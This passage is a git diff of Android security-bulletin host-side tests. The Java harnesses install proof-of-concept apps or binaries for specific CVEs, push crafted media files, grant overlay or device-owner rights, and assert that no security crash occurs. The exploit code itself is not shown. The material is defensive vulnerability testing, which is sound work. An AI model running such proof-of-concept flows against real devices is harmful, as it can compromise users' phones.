+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0487 extends NonRootSecurityTestCase {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0487";
+
+    /**
+     * b/174046397
+     * Vulnerable app    : CalendarProvider.apk
+     * Vulnerable module : com.android.providers.calendar
+     * Is Play managed   : No
+     */
+    @AsbSecurityTest(cveBugId = 174046397)
+    @Test
+    public void testPocCVE_2021_0487() {
+        ITestDevice device = null;
+        try {
+            device = getDevice();
+            /* Wake up the screen */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            /* Install the application */
+            installPackage("CVE-2021-0487.apk");
+
+            AdbUtils.runCommandLine(
+                    "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", device);
+            runDeviceTests(TEST_PKG, TEST_PKG + "." + "DeviceTest", "testOverlayButtonPresence");
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                // return to home screen
+                AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+            } catch (Exception e) {
+                // ignore exceptions here
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
index 41455a4..d798166 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0636.java
@@ -21,6 +21,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -35,13 +36,14 @@
          */
         AdbUtils.pushResource(
                 "/" + mediaFileName, "/sdcard/" + mediaFileName, getDevice());
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runCommandLine(
-                "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
-                    + mediaFileName, getDevice());
-        Thread.sleep(4000); // Delay to run the media file and capture output in logcat
-        AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
-        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+            AdbUtils.runCommandLine(
+                    "am start -a android.intent.action.VIEW -t video/avi -d file:///sdcard/"
+                        + mediaFileName, getDevice());
+            Thread.sleep(4000); // Delay to run the media file and capture output in logcat
+            AdbUtils.runCommandLine("rm -rf /sdcard/" + mediaFileName, getDevice());
+        }
     }
 
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
deleted file mode 100644
index 2e1ddda..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/**
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.AsbSecurityTest;
-
-import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0642 extends NonRootSecurityTestCase {
-    static final String TEST_APP = "CVE-2021-0642.apk";
-    static final String TEST_PKG = "android.security.cts.cve_2021_0642";
-    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
-
-    @Before
-    public void setUp() throws Exception {
-        ITestDevice device = getDevice();
-        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
-        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
-        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-        uninstallPackage(device, TEST_PKG);
-    }
-
-    /**
-     * b/185126149
-     */
-    @AppModeFull
-    @AsbSecurityTest(cveBugId = 185126149)
-    @Test
-    public void testPocCVE_2021_0642() throws Exception {
-        installPackage(TEST_APP);
-        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
index 5139425..095fdd3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
@@ -19,8 +19,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -38,9 +38,9 @@
     public void testPocCVE_2021_0919() throws Exception {
         pocPusher.only32();
         String binaryName = "CVE-2021-0919";
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 94f3b97..d4f6a45 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -57,7 +57,7 @@
         getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
 
         //run the test
-        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "test"));
+        runDeviceTests(TEST_PKG, TEST_CLASS, "test");
         CLog.i("testRunDeviceTest() end");
     }
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
index b3c9717..5802549 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -37,9 +37,9 @@
         pocPusher.only64();
         String binaryName = "CVE-2021-0925";
         String inputFiles[] = {"cve_2021_0925"};
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
index eddde21..68eabde 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -41,9 +41,9 @@
         AdbUtils.assumeHasNfc(device);
         assumeIsSupportedNfcDevice(device);
         String binaryName = "CVE-2021-0956";
-        String signals[] = {CrashUtils.SIGABRT};
+        String signals[] = {TombstoneUtils.Signals.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, device);
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java
new file mode 100644
index 0000000..90d8196
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0963 extends StsExtraBusinessLogicHostTestBase {
+    static final String TEST_PKG = "android.security.cts.CVE_2021_0963";
+
+    /**
+     * b/199754277
+     * Vulnerable app    : KeyChain.apk
+     * Vulnerable module : com.android.keychain
+     * Is Play managed   : No
+     */
+    @AsbSecurityTest(cveBugId = 199754277)
+    @Test
+    public void testPocCVE_2021_0963() {
+        try {
+            ITestDevice device = getDevice();
+
+            /* Wake up the device */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            /* Install the application */
+            installPackage("CVE-2021-0963.apk");
+
+            /*
+             * Set device as owner. After the test is completed, this change is reverted in the
+             * DeviceTest.java's tearDown() method by calling clearDeviceOwnerApp() on an instance
+             * of DevicePolicyManager.
+             */
+            AdbUtils.runCommandLine("dpm set-device-owner --user 0 '" + TEST_PKG + "/" + TEST_PKG
+                    + ".PocDeviceAdminReceiver" + "'", device);
+
+            /* Run the device test "testOverlayButtonPresence" */
+            runDeviceTests(TEST_PKG, TEST_PKG + "." + "DeviceTest", "testOverlayButtonPresence");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
index 7b4712f..1031df8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
@@ -18,6 +18,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -39,7 +40,8 @@
         String packageName = "android.security.cts.CVE_2021_30351";
         ITestDevice device = getDevice();
 
-        try {
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("media.codec");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
             /* Push the app to /data/local/tmp */
             pocPusher.appendBitness(false);
             pocPusher.pushFile(apkName, appPath);
@@ -60,11 +62,6 @@
         } finally {
             /* Un-install the app after the test */
             AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
-            /* Check if media.codec has crashed thereby indicating the presence */
-            /* of the vulnerability */
-            String logcat = AdbUtils.runCommandLine("logcat -d", device);
-            AdbUtils.assertNoCrashes(getDevice(), "media.codec");
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
index aaaa502..d88cc83 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -42,10 +42,10 @@
     public void testPocCVE_2021_39623() throws Exception {
         String binaryName = "CVE-2021-39623";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName)
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName)
                 .setBacktraceIncludes(new BacktraceFilterPattern("libstagefright",
                         "android::SimpleDecodingSource::doRead"));
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         testConfig.config.setSignals(signals);
         testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
         String inputFiles[] = {"cve_2021_39623.ogg"};
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
index 29de04e..930138f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -42,10 +42,10 @@
     @Test
     public void testPocCVE_2021_39664() throws Exception {
         String inputFiles[] = {"cve_2021_39664"};
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2021-39664";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
                         "android::LoadedPackage::Load"));
         testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
index 79e3d0f..ef37133 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -40,10 +40,10 @@
     @AsbSecurityTest(cveBugId = 204077881)
     @Test
     public void testPocCVE_2021_39665() throws Exception {
-        String[] signals = {CrashUtils.SIGSEGV};
+        String[] signals = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2021-39665";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
                         "android::AAVCAssembler::checkSpsUpdated"));
         testConfig.config.setSignals(signals);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
index 0053fc6..9c5887a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -18,9 +18,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -42,12 +42,12 @@
     public void testPocCVE_2021_39804() throws Exception {
         String inputFiles[] = {"cve_2021_39804.heif"};
         String binaryName = "CVE-2021-39804";
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
         testConfig.config =
-                new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
+                new TombstoneUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
                         new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit"));
-        testConfig.config.checkMinAddress(false);
+        testConfig.config.setIgnoreLowFaultAddress(false);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
index baa8707..f9832a4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
@@ -18,8 +18,8 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -42,10 +42,10 @@
     public void testPocCVE_2022_20123() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
         assumeIsSupportedNfcDevice(getDevice());
-        String signals[] = {CrashUtils.SIGSEGV};
+        String signals[] = {TombstoneUtils.Signals.SIGSEGV};
         String binaryName = "CVE-2022-20123";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                 .setBacktraceIncludes(
                         new BacktraceFilterPattern("libnfc_nci_jni", "Mfc_RecvPacket"));
         testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
index 1aeaa1d..bb717d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
@@ -20,9 +20,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -45,11 +45,11 @@
             AdbUtils.assumeHasNfc(getDevice());
             assumeIsSupportedNfcDevice(getDevice());
             pocPusher.only64();
-            String signals[] = {CrashUtils.SIGSEGV};
+            String signals[] = {TombstoneUtils.Signals.SIGSEGV};
             String binaryName = "CVE-2022-20131";
             AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
             testConfig.config =
-                    new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                    new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
                             .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
                                     "nfc_ncif_proc_ee_discover_req"));
             testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
index 5b1d38c..7157a13 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
@@ -20,9 +20,9 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -45,11 +45,11 @@
             AdbUtils.assumeHasNfc(getDevice());
             assumeIsSupportedNfcDevice(getDevice());
             pocPusher.only64();
-            String signals[] = { CrashUtils.SIGSEGV };
+            String signals[] = { TombstoneUtils.Signals.SIGSEGV };
             String binaryName = "CVE-2022-20147";
             AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName,
                     getDevice());
-            testConfig.config = new CrashUtils.Config()
+            testConfig.config = new TombstoneUtils.Config()
                     .setProcessPatterns(Pattern.compile(binaryName))
                     .setBacktraceIncludes(new BacktraceFilterPattern(
                             "libnfc-nci", "nfa_dm_check_set_config"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
index 3d31cee..98befd4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
@@ -16,18 +16,18 @@
 
 package android.security.cts;
 
+import static com.android.sts.common.SystemUtil.withSetting;
+
 import static org.junit.Assume.assumeNoException;
 
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
-import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2022_20197 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.CVE_2022_20197";
@@ -35,37 +35,11 @@
     @AsbSecurityTest(cveBugId = 208279300)
     @Test
     public void testPocCVE_2022_20197() {
-        ITestDevice device = null;
-        boolean isPolicyPresent = true;
-        boolean isHiddenApiEnabled = true;
-        String status = "";
-        try {
-            device = getDevice();
+        try (AutoCloseable a = withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
             installPackage("CVE-2022-20197.apk");
-
-            status = AdbUtils.runCommandLine("settings get global hidden_api_policy", device);
-            if (status.toLowerCase().contains("null")) {
-                isPolicyPresent = false;
-            } else if (!status.toLowerCase().contains("1")) {
-                isHiddenApiEnabled = false;
-            }
-            if (!isPolicyPresent || !isHiddenApiEnabled) {
-                AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device);
-            }
             runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testParcel");
         } catch (Exception e) {
             assumeNoException(e);
-        } finally {
-            try {
-                if (!isPolicyPresent) {
-                    AdbUtils.runCommandLine("settings delete global hidden_api_policy", device);
-                } else if (!isHiddenApiEnabled) {
-                    AdbUtils.runCommandLine("settings put global hidden_api_policy " + status,
-                            device);
-                }
-            } catch (Exception e) {
-                // ignore all exceptions.
-            }
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
new file mode 100644
index 0000000..62d0f16
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20475 extends NonRootSecurityTestCase {
+
+    /**
+     * b/240663194
+     * Vulnerable module : services.jar
+     * Is Play Managed   : No
+     */
+    @AsbSecurityTest(cveBugId = 240663194)
+    @Test
+    public void testPocCVE_2022_20475() {
+        try {
+            final String testPkg = "android.security.cts.CVE_2022_20475_test";
+            ITestDevice device = getDevice();
+
+            // Install the test and target apps
+            installPackage("CVE-2022-20475-test.apk");
+            installPackage("CVE-2022-20475-target.apk");
+
+            // Wake up the device
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            // Run the test "testCVE_2022_20475"
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2022_20475");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20501.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20501.java
new file mode 100644
index 0000000..067a011
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20501.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
